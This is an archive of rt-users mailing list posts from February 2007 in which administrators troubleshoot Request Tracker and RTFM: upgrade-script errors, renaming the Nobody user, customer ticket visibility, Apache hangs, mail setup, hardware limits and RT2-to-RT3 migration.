> On Mon, Feb 05, 2007 at 05:19:15PM +0100, Ham MI-ID, Torsten Brumm wrote:
> > Hi RT Users,
> >
> > i get a strange error in our RTFM installation:
> >
> > Whenever I try to create an class in FAQ. I get the following error
> message.
> >
> >
> > Internal Error: Couldn't execute the query 'INSERT INTO FM_Classes
> (Creator, HotList, LastUpdatedBy, SortOrder, Created, Name, Description,
> LastUpdated) VALUES (?, ?, ?, ?, ?, ?, ?, ?)'Unknown column 'HotList' in
> 'field list'
> >
> > I'm not sure whats wrong, because, the RTFM is installed and untouched
> since one year....argh....
>
> Did you run all the upgrade scrips?
>
>
> >
> > Thanks
> >
> > Torsten
>
> > _______________________________________________
> > http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
> >
> > Community help: http://wiki.bestpractical.com
> > Commercial support: sales at bestpractical.com
> >
> >
> > Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
> > Buy a copy at http://rtbook.bestpractical.com
>
> --
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
>
>
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
> Buy a copy at http://rtbook.bestpractical.com
>



-- 
MFG

Torsten Brumm

http://www.torsten-brumm.de
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From jesse at bestpractical.com  Mon Feb  5 15:54:10 2007
From: jesse at bestpractical.com (Jesse Vincent)
Date: Mon, 5 Feb 2007 15:54:10 -0500
Subject: [rt-users] Error in RTFM Administration
In-Reply-To: <bdbd084b0702051253yf736ee7mad752334d2dfd415@mail.gmail.com>
References: <F190CE6383B343418D7314548859FAD00CCF4F@w3hamboex11.ger.win.int.kn>
	<20070205204552.GM25008@bestpractical.com>
	<bdbd084b0702051253yf736ee7mad752334d2dfd415@mail.gmail.com>
Message-ID: <20070205205410.GN25008@bestpractical.com>




On Mon, Feb 05, 2007 at 09:53:00PM +0100, Torsten Brumm wrote:
> Hi Jesse,
> 
> nope i forgot some :-( Fixed it after a hint from Ruz.

Sorry about that. That's what I get for forgetting to turn on threaded
mode before replying to mail.

> 
> Torsten
> 
> 2007/2/5, Jesse Vincent <jesse at bestpractical.com>:
> >
> >
> >
> >
> >On Mon, Feb 05, 2007 at 05:19:15PM +0100, Ham MI-ID, Torsten Brumm wrote:
> >> Hi RT Users,
> >>
> >> i get a strange error in our RTFM installation:
> >>
> >> Whenever I try to create an class in FAQ. I get the following error
> >message.
> >>
> >>
> >> Internal Error: Couldn't execute the query 'INSERT INTO FM_Classes
> >(Creator, HotList, LastUpdatedBy, SortOrder, Created, Name, Description,
> >LastUpdated) VALUES (?, ?, ?, ?, ?, ?, ?, ?)'Unknown column 'HotList' in
> >'field list'
> >>
> >> I'm not sure whats wrong, because, the RTFM is installed and untouched
> >since one year....argh....
> >
> >Did you run all the upgrade scrips?
> >
> >
> >>
> >> Thanks
> >>
> >> Torsten
> >
> >> _______________________________________________
> >> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
> >>
> >> Community help: http://wiki.bestpractical.com
> >> Commercial support: sales at bestpractical.com
> >>
> >>
> >> Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
> >> Buy a copy at http://rtbook.bestpractical.com
> >
> >--
> >_______________________________________________
> >http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
> >
> >Community help: http://wiki.bestpractical.com
> >Commercial support: sales at bestpractical.com
> >
> >
> >Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
> >Buy a copy at http://rtbook.bestpractical.com
> >
> 
> 
> 
> -- 
> MFG
> 
> Torsten Brumm
> 
> http://www.torsten-brumm.de

-- 


From lmw94002 at hotmail.com  Mon Feb  5 16:57:45 2007
From: lmw94002 at hotmail.com (Mat W)
Date: Mon, 05 Feb 2007 16:57:45 -0500
Subject: [rt-users] Change "Nobody" to somebody...
In-Reply-To: <589c94400702051200i6c761882qb1bfbdf214892e6a@mail.gmail.com>
Message-ID: <BAY104-F403D580CCE976EE9E79B9186980@phx.gbl>

well, everything is working well and doing what we want already for us & our 
clients.  serveral clients have commented how "nobody" seems rather 
"negative".  like nobody cares about their ticket or cause "nobody" owns it; 
it is somehow less important.

while yes, it's really dumb... "image" does count with a lot of our clients.

>No, you can't change it. There is should be another way to do what you 
>want.
>
>On 2/5/07, Mat W <lmw94002 at hotmail.com> wrote:
>>Can I change the user Nobody's name to something else?  It says in the 
>>notes
>>of the user screen to not modify.  Of course, I'm not going to randomly
>>change it but I wanted to know if anyone has gone through the effort to 
>>make
>>a username change from Nobody to "Somebody"...
>>
>>_________________________________________________________________
>>Valentine's Day -- Shop for gifts that spell L-O-V-E at MSN Shopping
>>http://shopping.msn.com/content/shp/?ctId=8323,ptnrid=37,ptnrdata=24095&tcode=wlmtagline
>>
>>_______________________________________________
>>http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>>
>>Community help: http://wiki.bestpractical.com
>>Commercial support: sales at bestpractical.com
>>
>>
>>Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
>>Buy a copy at http://rtbook.bestpractical.com
>>
>
>
>--
>Best regards, Ruslan.

_________________________________________________________________
FREE online classifieds from Windows Live Expo ? buy and sell with people 
you know 
http://clk.atdmt.com/MSN/go/msnnkwex0010000001msn/direct/01/?href=http://expo.live.com?s_cid=Hotmail_tagline_12/06



From jordanov at brg.bg  Mon Feb  5 17:15:05 2007
From: jordanov at brg.bg (Boris Jordanov)
Date: Tue, 06 Feb 2007 00:15:05 +0200
Subject: [rt-users] How to mimic 2.0 "at a glance" in a helpdesk-like setup
Message-ID: <45C7AC69.1040802@brg.bg>

Hi RT users,
I'm trying to set up a helpdesk like setup (RT 3.6.3) with no success.
Here is what I want to do:

1. A common queue - named "helpdesk" (this is OK, it's up and running +
the mail gate).
2. User groups for every customer - containing 1 to 3 users allowed to
create tickets on behalf of the customer, that's OK too.
3. I want the customers to see the tickets they created - everything
that is not resolved. I saw in the docs that this was the default for RT
2.0?
4. And at last, every customer must be able to see only the tickets
requested from it's own group members.

How to achive this?!?
TIA


From tomas.olaj at usit.uio.no  Mon Feb  5 17:37:01 2007
From: tomas.olaj at usit.uio.no (Tomas Olaj)
Date: Mon, 5 Feb 2007 23:37:01 +0100 (CET)
Subject: [rt-users] RT/Apache suddenly hangs
In-Reply-To: <bdbd084b0702020731k70371b22ta597da8137e4aeac@mail.gmail.com>
References: <Pine.LNX.4.63-L.0702021609010.32691@attila.uio.no>
	<bdbd084b0702020731k70371b22ta597da8137e4aeac@mail.gmail.com>
Message-ID: <Pine.LNX.4.63-L.0702052334060.9846@klodrik.uio.no>

On the marvelous Fri, 2 Feb 2007, Torsten Brumm wrote kindly to me ...

> yes, we have exactly the same under RHAS4 with Apache, FastCGI and mysql....
> but we have to restart 4 times the day :-(
>
> Torsten
>> 
>> Apache is normaly restarted once a night, due to memory leek which
>> Mason/Perl/FastCGI is responsible for in some strange way. But this should
>> not be the problem here.

But, I don't think that this problem we experience is due to the mem leak 
caused by Mason/Perl/FastCGI. I read at the wicki that FastCGI is still 
recommended to use, since the other on-going fcgid is still un-stable.

But, RT/Apache just suddenly hangs in business hours.

Regards,
Tomas

-- 
________________________________________________________________________
Tomas A. P. Olaj, email: tomas.olaj at usit.uio.no, web: folk.uio.no/tomaso
  University of Oslo / USIT (Center for Information Technology Services)
    System- and Application Management / Applications Management Group


From tomas.olaj at usit.uio.no  Mon Feb  5 17:40:24 2007
From: tomas.olaj at usit.uio.no (Tomas Olaj)
Date: Mon, 5 Feb 2007 23:40:24 +0100 (CET)
Subject: [rt-users] RT/Apache suddenly hangs
In-Reply-To: <Pine.LNX.4.64.0702021539190.4380@bambam.inf.ed.ac.uk>
References: <Pine.LNX.4.63-L.0702021609010.32691@attila.uio.no>
	<Pine.LNX.4.64.0702021539190.4380@bambam.inf.ed.ac.uk>
Message-ID: <Pine.LNX.4.63-L.0702052339250.9846@klodrik.uio.no>

On the marvelous Fri, 2 Feb 2007, Alison Downie wrote kindly to me ...

> Set($LogToSyslog    , 'debug');
> Set($LogToScreen    , 'error');
> Set($LogToFile      , 'debug');
> Set($LogDir, '/opt/rt/var/log');
> Set($LogToFileNamed , "rt.log");    #log to rt.log
>
> It has helped me out on several occasions!
>
> Alison

Yes, but not LogToFile.

Also:
@LogToSyslogConf = (socket => 'inet') unless (@LogToSyslogConf);

is set.

Sincerely,
Tomas

-- 
________________________________________________________________________
Tomas A. P. Olaj, email: tomas.olaj at usit.uio.no, web: folk.uio.no/tomaso
  University of Oslo / USIT (Center for Information Technology Services)
    System- and Application Management / Applications Management Group


From tomas.olaj at usit.uio.no  Mon Feb  5 17:54:41 2007
From: tomas.olaj at usit.uio.no (Tomas Olaj)
Date: Mon, 5 Feb 2007 23:54:41 +0100 (CET)
Subject: [rt-users] RT/Apache suddenly hangs
In-Reply-To: <bdbd084b0702020747x50c8d01ai5126308bc02e6870@mail.gmail.com>
References: <Pine.LNX.4.63-L.0702021609010.32691@attila.uio.no> 
	<Pine.LNX.4.64.0702021539190.4380@bambam.inf.ed.ac.uk>
	<bdbd084b0702020747x50c8d01ai5126308bc02e6870@mail.gmail.com>
Message-ID: <Pine.LNX.4.63-L.0702052344180.9846@klodrik.uio.no>

On the marvelous Fri, 2 Feb 2007, Torsten Brumm wrote kindly to me ...

> The only thing i found sometimes are messages: Mysql server has gone away,
> but this is causing not in all cases the problems. Nightly, without RT
> usage, the connections from FastCGI are timing out and don't connect
> automatically, but not during the business hours ;-(

We are very satisfied with our Postgres installation. :)

Our Postgres admins has created an administration framework used to 
administrate postgreSQL installations at The University of Oslo.
This framework is a set of scripts, websides, C code, SQL definitions
and standards that define storage,backups,maintenance and administration
procedures. We can run this framework in a standalone server or in a 
SG-cluster from HP. Our RT production instance runs on a service guard 
two-node postgres cluster. Still faaar away from the sizes of all of our 
Oracle installations. ;)

Thanks, Torsten, good to hear that I am not lonely about this problem.

Cheers,
Tomas

-- 
________________________________________________________________________
Tomas A. P. Olaj, email: tomas.olaj at usit.uio.no, web: folk.uio.no/tomaso
  University of Oslo / USIT (Center for Information Technology Services)
    System- and Application Management / Applications Management Group


From rfh at pipex.net  Mon Feb  5 17:58:32 2007
From: rfh at pipex.net (Roy El-Hames)
Date: Mon, 05 Feb 2007 22:58:32 +0000
Subject: [rt-users] Change "Nobody" to somebody...
In-Reply-To: <589c94400702051200i6c761882qb1bfbdf214892e6a@mail.gmail.com>
References: <BAY104-F21680D3F4403EBA15D641686980@phx.gbl>
	<589c94400702051200i6c761882qb1bfbdf214892e6a@mail.gmail.com>
Message-ID: <45C7B698.4070903@pipex.net>

In my organisation we created a virtual user and have a scrip with on 
create if owner is Nobody set owner our virtual user;
 if ( $self->TicketObj->Owner eq '10') {
      $self->TicketObj->SetOwner('support');
}
return 1;

Roy

Ruslan Zakirov wrote:
> No, you can't change it. There is should be another way to do what you 
> want.
>
> On 2/5/07, Mat W <lmw94002 at hotmail.com> wrote:
>> Can I change the user Nobody's name to something else?  It says in 
>> the notes
>> of the user screen to not modify.  Of course, I'm not going to randomly
>> change it but I wanted to know if anyone has gone through the effort 
>> to make
>> a username change from Nobody to "Somebody"...
>>
>> _________________________________________________________________
>> Valentine's Day -- Shop for gifts that spell L-O-V-E at MSN Shopping
>> http://shopping.msn.com/content/shp/?ctId=8323,ptnrid=37,ptnrdata=24095&tcode=wlmtagline 
>>
>>
>> _______________________________________________
>> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>>
>> Community help: http://wiki.bestpractical.com
>> Commercial support: sales at bestpractical.com
>>
>>
>> Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
>> Buy a copy at http://rtbook.bestpractical.com
>>
>
>



From ruslan.zakirov at gmail.com  Mon Feb  5 21:19:39 2007
From: ruslan.zakirov at gmail.com (Ruslan Zakirov)
Date: Tue, 6 Feb 2007 05:19:39 +0300
Subject: [rt-users] How to mimic 2.0 "at a glance" in a helpdesk-like setup
In-Reply-To: <45C7AC69.1040802@brg.bg>
References: <45C7AC69.1040802@brg.bg>
Message-ID: <589c94400702051819r54c16b8es2db3bcde9e55fe1a@mail.gmail.com>

On 2/6/07, Boris Jordanov <jordanov at brg.bg> wrote:
> Hi RT users,
> I'm trying to set up a helpdesk like setup (RT 3.6.3) with no success.
> Here is what I want to do:
>
> 1. A common queue - named "helpdesk" (this is OK, it's up and running +
> the mail gate).
> 2. User groups for every customer - containing 1 to 3 users allowed to
> create tickets on behalf of the customer, that's OK too.
> 3. I want the customers to see the tickets they created - everything
> that is not resolved. I saw in the docs that this was the default for RT
> 2.0?
If customers are not privileged they have the SelfService which suits you needs.
Otherwise you can setup "RT At Glance" with whatever query you want. So you
can get a page with "top X tickets where I'm watcher of any type".

> 4. And at last, every customer must be able to see only the tickets
> requested from it's own group members.
I described one possible solution several times, but afaik nobody
posted it to the wiki. I don't want to do that once again.
Read [1], the thread even have partial solution. As well try to
search, there is should more info.

[1] http://www.gossamer-threads.com/lists/rt/users/54325

>
> How to achive this?!?
> TIA
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
>
>
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
> Buy a copy at http://rtbook.bestpractical.com
>


-- 
Best regards, Ruslan.


From matthew at sorbs.net  Mon Feb  5 22:46:04 2007
From: matthew at sorbs.net (Matthew Sullivan)
Date: Tue, 06 Feb 2007 14:46:04 +1100
Subject: [rt-users] wap / mobile-device css/profile for rt?
In-Reply-To: <B6B20C3544734746AA2D95843EA921A2068300@xchange.office.kapper.net>
References: <B6B20C3544734746AA2D95843EA921A2068300@xchange.office.kapper.net>
Message-ID: <45C7F9FC.8040903@sorbs.net>

Harald Kapper wrote:
> fellow rt-users,
> as we're moving support-engineers more on the road, I wondered if anyone
> already has implemented stylesheets or reduced html / xhtml-mp / "whatever"
> pages in order to use request-tracker on wap/2.0 or similar
> small-screen-sized devices.
> (and yes office-users still should have the whole cool rt-3.6 view, they're
> used to)
>   
Well I don't know about the CSS itself, but for getting it to your 
mobile clients and not the office clients is easy.  Serve the 
appropriate css file(s) via content negotiation (for apache see: 
http://httpd.apache.org/docs/2.2/content-negotiation.html ) or via 
mod_rewrite when looking at the device type or user agent (See: 
http://httpd.apache.org/docs/2.2/mod/mod_rewrite.html#rewritecond )

Regards,

Mat



From asefu at fooie.net  Tue Feb  6 03:32:50 2007
From: asefu at fooie.net (Asefu)
Date: Tue, 06 Feb 2007 03:32:50 -0500
Subject: [rt-users] RT with postfix
In-Reply-To: <455043.2638.qm@web39511.mail.mud.yahoo.com>
References: <455043.2638.qm@web39511.mail.mud.yahoo.com>
Message-ID: <45C83D32.9020202@fooie.net>

Depending on how you decided to setup postfix, you may need to read this :
http://wiki.bestpractical.com/index.cgi?PostFixSQLAliasProblem



Its Azfar wrote:
> I have a system runing RT 3.6.1 with sendmail. For
> some reason i have to install postfix on it for that I
> have to deinstall sendmail. I want to know can RT run
> with postfix, if yes then wht changes do it need to
> tell rt to commuicate with postfix.
>
>
>  
> ____________________________________________________________________________________
> Food fight? Enjoy some healthy debate 
> in the Yahoo! Answers Food & Drink Q&A.
> http://answers.yahoo.com/dir/?link=list&sid=396545367
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
>
>
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media. 
> Buy a copy at http://rtbook.bestpractical.com
>
>   


From Raphael.berlamont at raphux.com  Tue Feb  6 07:01:55 2007
From: Raphael.berlamont at raphux.com (Raphael Berlamont)
Date: Tue, 6 Feb 2007 13:01:55 +0100 (CET)
Subject: [rt-users] Sort search by custom fields data
Message-ID: <40279.88.191.12.192.1170763315.squirrel@webmail2.raphux.com>

Hello list,

I would like to know why the possibility of sorting a search result by
customfields is available, but not effective?

For example, I have a custom field "Country" in which I fill the origin
site of the ticket. I would like to have the possibility to sort the
search result by this custom field, in order to group all tickets of a
similar country (But also display several countries). I know that I can
filter on one country, but my wish is to sort the result.

If, on the search page, I select "Order by:" ->  CustomField.{Country},
the result won't be sorted anyway.

Am I missing something?

-- 
Raph.


From sven.sternberger at desy.de  Tue Feb  6 07:12:46 2007
From: sven.sternberger at desy.de (Sven Sternberger)
Date: Tue, 06 Feb 2007 13:12:46 +0100
Subject: [rt-users] vanished lines in rt 3.6.1 reply
In-Reply-To: <1169460532.4969.16.camel@pcx4546.desy.de>
References: <1168534464.5276.32.camel@pcx4546.desy.de>
	<1168617531.5159.64.camel@pcx4546.desy.de>
	<1169460532.4969.16.camel@pcx4546.desy.de>
Message-ID: <1170763966.5180.26.camel@pcx4546.desy.de>

Hello!

I'm still surprised. No reaction!!!! No reply on the bug #8114,
nor on my posting.

We still have the problems that lines from replies under some
circumstances won't be displayed in the WEB-UI.

Are there any other installation with the same problem?
Will this be fixed in 3.6.x?
Is this now an official bug or not?

best regards!

sven



On Mon, 2007-01-22 at 11:08 +0100, Sven Sternberger wrote:
> Hello!
> 
> I'm surprised that i got no further reaction on my bug report (#8114),
> I think that the issue I reported is major bug because in our 
> environment these vanished lines (even if they are in db) means data
> loss.
> 
> Is this something only our installation suffers? I also
> wrote a bug report. But the open bug pages seems to be out of service:
> http://rt3.fsck.com//NoAuth/Buglist.html
> or are there really no bugs ;-)
> 
> regards!
> 
> sven
> 
> 
> 
> On Fri, 2007-01-12 at 16:58 +0100, Sven Sternberger wrote:
> > Hello!
> > 
> > I upgraded the perl module Text::Quoted to the version 1.8, but the
> > problem is still the same
> > 
> > > I tried to track down the problem, it only happens when I made a reply
> > > to an transaction, a reply to the ticket is always ok. 
> > > The weird thing is that sometimes the first reply
> > > is okay but in the second reply the new entered lines are vanished
> > again
> > > (the lines from the first try are still visible)
> > > 
> > > It is not the word "cpan" which triggers the problem, but anything
> > > in the form /^\w+>/ (this is an regexp).
> > 
> > I now recognized the following:
> > I create a ticket with a line which something 
> > like /^\w+>/
> > RESULT: ok
> > 
> > I reply on these transaction and enter again /^\w+>/
> > RESULT: ok
> > 
> > I reply on the reply transaction with an /^\w+>/
> > RESULT: the newly entered line vanish
> > 
> > So it is pretty clear that the quote mechanism is
> > broken if you have more than one reply level
> > 
> > best regards!
> > 
> > sven
> > 
> > _______________________________________________
> > http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
> > 
> > Community help: http://wiki.bestpractical.com
> > Commercial support: sales at bestpractical.com
> > 
> > 
> > Discover RT's hidden secrets with RT Essentials from O'Reilly Media. 
> > Buy a copy at http://rtbook.bestpractical.com
> 
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
> 
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
> 
> 
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media. 
> Buy a copy at http://rtbook.bestpractical.com



From StakowskiM at prokom.pl  Tue Feb  6 07:20:06 2007
From: StakowskiM at prokom.pl (Mariusz Stakowski)
Date: Tue, 6 Feb 2007 13:20:06 +0100
Subject: [rt-users] absolutely minimal hardware requirements to run RT
Message-ID: <OFB0583318.72A6AE72-ONC125727A.003E5EE8-C125727A.0041E76A@prokom.pl>

                                Hello list,

                I'm trying to convince my colleagues to use RT. I have 
installed it on my home PC, so I can learn the RT. I would like to 
demonstrate the RT at work, and here is my problem. All I can have as a 
hardware is an old PC - Pentium II 233MHz, 128MB RAM, 20GB HDD. 
So I have chosen :
Slackware 11 with:
Apache 1.3.37 
 MySQL 5.0.24 
sendmail.  8.13.8

I have installed
RT 3.6.1
and 
mod_perl 1.27,

        Window manager - fcde, internet browser - seamonkey. It seems it 
is capable to work, but it "normally" dies after home page and t it never 
goes any further. Or it is extremely slow (even for me).
        All I want is to demonstrate basic  RT functionalities. I think 
there would be no more than 100 of tickets and about five users. And the 
response time could be about 5 seconds (or at least less  than  user 
"patience limit" ). I have not done yet  any performance tuning.

So my question is - is it at all possible to make RT working in this way 
on such hardware ? (I can not increase RAM - "upgrade of such an old PC is 
too expensive")


I would greatly appreciate any help

 
Best regards

Mariusz Stakowski
-------------- next part --------------
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From mike.peachey at jennic.com  Tue Feb  6 07:45:49 2007
From: mike.peachey at jennic.com (Mike Peachey)
Date: Tue, 06 Feb 2007 12:45:49 +0000
Subject: [rt-users] absolutely minimal hardware requirements to run RT
In-Reply-To: <OFB0583318.72A6AE72-ONC125727A.003E5EE8-C125727A.0041E76A@prokom.pl>
References: <OFB0583318.72A6AE72-ONC125727A.003E5EE8-C125727A.0041E76A@prokom.pl>
Message-ID: <45C8787D.3010002@jennic.com>

Ours is currently running on Fedora3/Athlon64 3500+/1GB
DDR400/Apache2/MySQL4/Exim4/RT 3.6.1/100 users/200 tickets per month

We have two instances running simultaneously, one with mod_perl, one
with FastCGI (mod_perl being the one that gets heavier load). And it
runs very quickly.

Before anyone says, of course it would, considering the hardware.. the
server it is running on is also Primary DNS / Backup DHCP and a lot more
besides.

I can imagine it would run a little slowly on the hardware you describe,
but I have absolutely no reason to believe it wouldn't work at all, or
even too slow to use.

It would suggest a config error or incompatability...

Mariusz Stakowski wrote:
> 
>                                 Hello list,
> 
>                 I'm trying to convince my colleagues to use RT. I have
> installed it on my home PC, so I can learn the RT. I would like to
> demonstrate the RT at work, and here is my problem. All I can have as a
> hardware is an old PC - Pentium II 233MHz, 128MB RAM, 20GB HDD.
> So I have chosen :
> Slackware 11 with:
> Apache 1.3.37
>  MySQL 5.0.24
> sendmail.  8.13.8
> 
> I have installed
> RT 3.6.1
> and
> mod_perl 1.27,
> 
>         Window manager - fcde, internet browser - seamonkey. It seems it
> is capable to work, but it "normally" dies after home page and t it
> never goes any further. Or it is extremely slow (even for me).
>         All I want is to demonstrate basic  RT functionalities. I think
> there would be no more than 100 of tickets and about five users. And the
> response time could be about 5 seconds (or at least less  than  user
> "patience limit" ). I have not done yet  any performance tuning.
> 
> So my question is - is it at all possible to make RT working in this way
> on such hardware ? (I can not increase RAM - "upgrade of such an old PC
> is too expensive")
> 
> 
> I would greatly appreciate any help
> 
>  
> Best regards
> 
> Mariusz Stakowski
> 
> 
> ------------------------------------------------------------------------
> 
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
> 
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
> 
> 
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media. 
> Buy a copy at http://rtbook.bestpractical.com

-- 
Kind Regards,

___________________________________________________

Mike Peachey, IT
Tel: +44 (0) 114 281 2655
Fax: +44 (0) 114 281 2951
Jennic Ltd, Furnival Street, Sheffield, S1 4QT,  UK
http://www.jennic.com
Confidential
___________________________________________________


From gentgeen at linuxmail.org  Tue Feb  6 08:29:25 2007
From: gentgeen at linuxmail.org (Gentgeen)
Date: Tue, 6 Feb 2007 08:29:25 -0500
Subject: [rt-users] absolutely minimal hardware requirements to run RT
In-Reply-To: <OFB0583318.72A6AE72-ONC125727A.003E5EE8-C125727A.0041E76A@prokom.pl>
References: <OFB0583318.72A6AE72-ONC125727A.003E5EE8-C125727A.0041E76A@prokom.pl>
Message-ID: <20070206082925.6757dfb2@localhost.localdomain>

On Tue, 6 Feb 2007 13:20:06 +0100
Mariusz Stakowski <StakowskiM at prokom.pl> wrote:

>                                 Hello list,
> 
>                 I'm trying to convince my colleagues to use RT. I have
>                 
> installed it on my home PC, so I can learn the RT. I would like to 
> demonstrate the RT at work, and here is my problem. All I can have as
> a  hardware is an old PC - Pentium II 233MHz, 128MB RAM, 20GB HDD. 
> So I have chosen :
> Slackware 11 with:
> Apache 1.3.37 
>  MySQL 5.0.24 
> sendmail.  8.13.8
> 
> I have installed
> RT 3.6.1
> and 
> mod_perl 1.27,
> 
>         Window manager - fcde, internet browser - seamonkey. It seems
>         it 
> is capable to work, but it "normally" dies after home page and t it
> never  goes any further. Or it is extremely slow (even for me).
>         All I want is to demonstrate basic  RT functionalities. I
>         think 
> there would be no more than 100 of tickets and about five users. And
> the  response time could be about 5 seconds (or at least less  than 
> user  "patience limit" ). I have not done yet  any performance tuning.
> 
> So my question is - is it at all possible to make RT working in this
> way  on such hardware ? (I can not increase RAM - "upgrade of such an
> old PC is  too expensive")
> 
> 
> I would greatly appreciate any help
> 
>  
> Best regards
> 
> Mariusz Stakowski


Could you take this computer into work, and then use a different machine
to access the webGUI.  Seems to me that Apache+MySQL+window
manager+seamonkey would really pull this machine to a crawl (or even a
freezing halt).


-- 
http://gentgeen.homelinux.org

#############################################################
 Associate yourself with men of good quality if you esteem    
 your own reputation; for 'tis better to be alone then in bad 
 company.        - George Washington, Rules of Civility


From Nicholas.Whitehead at morganash.com  Tue Feb  6 09:35:17 2007
From: Nicholas.Whitehead at morganash.com (Nicholas Whitehead)
Date: Tue, 6 Feb 2007 14:35:17 -0000
Subject: [rt-users] Email ticket requests ...
Message-ID: <48873E549537AE4CBC7D0E8B6E96FCFE1B9265@indigo.MorganAsh.com>

I have RT 3.6.3 installed on a Fedora Core 6 box

 

I have configured it to use Sendmail ....

 

All seems to work fine 

 

When tickets are created from within RT, all the emails are sent
correctly to requestors, CC, CCadmins etc 

 

I can send a mail from the server (where RT is installed) and get a
ticket created OK via echo 'hello' | mail -s "test subject" rt

 

However, the difficulty starts when trying to request a ticket from
outside the RT server (eg from our Exchange email system in the office.
The mails seem never to reach the RT system. This obviously is the same
when trying to reply from emails back to the ticket ..

 

 

Any help would be appreciated

 

Thanks in advance

 

 

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From jarends at uiuc.edu  Tue Feb  6 09:43:31 2007
From: jarends at uiuc.edu (John Arends)
Date: Tue, 06 Feb 2007 08:43:31 -0600
Subject: [rt-users] Email ticket requests ...
In-Reply-To: <48873E549537AE4CBC7D0E8B6E96FCFE1B9265@indigo.MorganAsh.com>
References: <48873E549537AE4CBC7D0E8B6E96FCFE1B9265@indigo.MorganAsh.com>
Message-ID: <45C89413.8010200@uiuc.edu>

Are you sure sendmail will receive email from outside?

Nicholas Whitehead wrote:
> -->
> 
> I have RT 3.6.3 installed on a Fedora Core 6 box
> 
>  
> 
> I have configured it to use Sendmail ?.
> 
>  
> 
> All seems to work fine
> 
>  
> 
> When tickets are created from within RT, all the emails are sent 
> correctly to requestors, CC, CCadmins etc
> 
>  
> 
> I can send a mail from the server (where RT is installed) and get a 
> ticket created OK via echo ?hello? ? mail ?s ?test subject? rt
> 
>  
> 
> However, the difficulty starts when trying to request a ticket from 
> outside the RT server (eg from our Exchange email system in the office. 
> The mails seem never to reach the RT system. This obviously is the same 
> when trying to reply from emails back to the ticket ..
> 
>  
> 
>  
> 
> Any help would be appreciated
> 
>  
> 
> Thanks in advance
> 
>  
> 
>  
> 
> 
> ------------------------------------------------------------------------
> 
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
> 
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
> 
> 
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media. 
> Buy a copy at http://rtbook.bestpractical.com


From thomas.koch at switch.ch  Tue Feb  6 09:59:00 2007
From: thomas.koch at switch.ch (Thomas Koch)
Date: Tue, 06 Feb 2007 15:59:00 +0100
Subject: [rt-users] RT database update from 2.0.9 to 3.6.1
In-Reply-To: <45A660DA.9060302@switch.ch>
References: <45A60DC0.5010707@switch.ch>
	<837D4363-E6C9-428E-894C-D5A9E7F8FC2B@bestpractical.com>
	<45A660DA.9060302@switch.ch>
Message-ID: <45C897B4.9050800@switch.ch>

Dear Kevin and list

Using the rt2-to-rt3 update software I experienced some problems with 
the mail attachments. All the attachments in the RT 3.6 Database are 
unreadable now!

Error message copied from my browser:

The image ?http://rt.switch.ch/Ticket/Attachment/52274/20897/nichch.png? 
cannot be displayed, because it contains errors.

There must be a problem in the export or import of all the tickets.

Can anybody help me?

Thanks in advance.

--
Thomas



Thomas Koch wrote:
> Hi Kevin
> 
> What kind of "customer work" do you mean? What is new to the tool? 
> Update from 2.x.x to 3.6.x?
> 
> I will give this subversion a try and let you know whether it works for 
> me or not.
> 
> Thanks a lot!
> 
> -- 
> Thomas
> 
> 
> Kevin Falcone wrote:
>>
>> On Jan 11, 2007, at 5:13 AM, Thomas Koch wrote:
>>> The  "rt2-to-rt3" database migration tool (mentioned in RT3.2's 
>>> readme file and downloadable at 
>>> http://bestpractical.com/pub/rt/devel/rt2-to-rt3.tar.gz) works only 
>>> from 2.0 to 3.0. My problem is that there are also schema changes 
>>> between 3.0 and 3.6. I can't dump my RT2 MySQL database and import it 
>>> with the tool mentioned above directly into the RT 3.6 database, can I?
>>
>> Thomas
>>
>> There has been recent customer work on this tool, but it is only 
>> available in subversion.  We'd love to hear if it works for you.  You 
>> can find the code here:
>>
>> svn://svn.bestpractical.com/rt2-to-rt3/trunk
>>
>> -kevin
> 

-- 
  ----   SWITCH - The Swiss Education & Research Network   ----
  Thomas Koch; SWITCH; Postfach; CH-8021 Zurich; Switzerland
  thomas.koch at switch.ch;  +41 442681586;  fax: +41 442681568


From Bill at Explosivo.com  Tue Feb  6 10:00:56 2007
From: Bill at Explosivo.com (Bill Chmura)
Date: Tue, 6 Feb 2007 10:00:56 -0500
Subject: [rt-users] absolutely minimal hardware requirements to run RT
In-Reply-To: <OFB0583318.72A6AE72-ONC125727A.003E5EE8-C125727A.0041E76A@prokom.pl>
References: <OFB0583318.72A6AE72-ONC125727A.003E5EE8-C125727A.0041E76A@prokom.pl>
Message-ID: <20070206100056.b415fd39.Bill@Explosivo.com>

On Tue, 6 Feb 2007 13:20:06 +0100
Mariusz Stakowski <StakowskiM at prokom.pl> wrote:

>                                 Hello list,
> 
>                 I'm trying to convince my colleagues to use RT. I have 
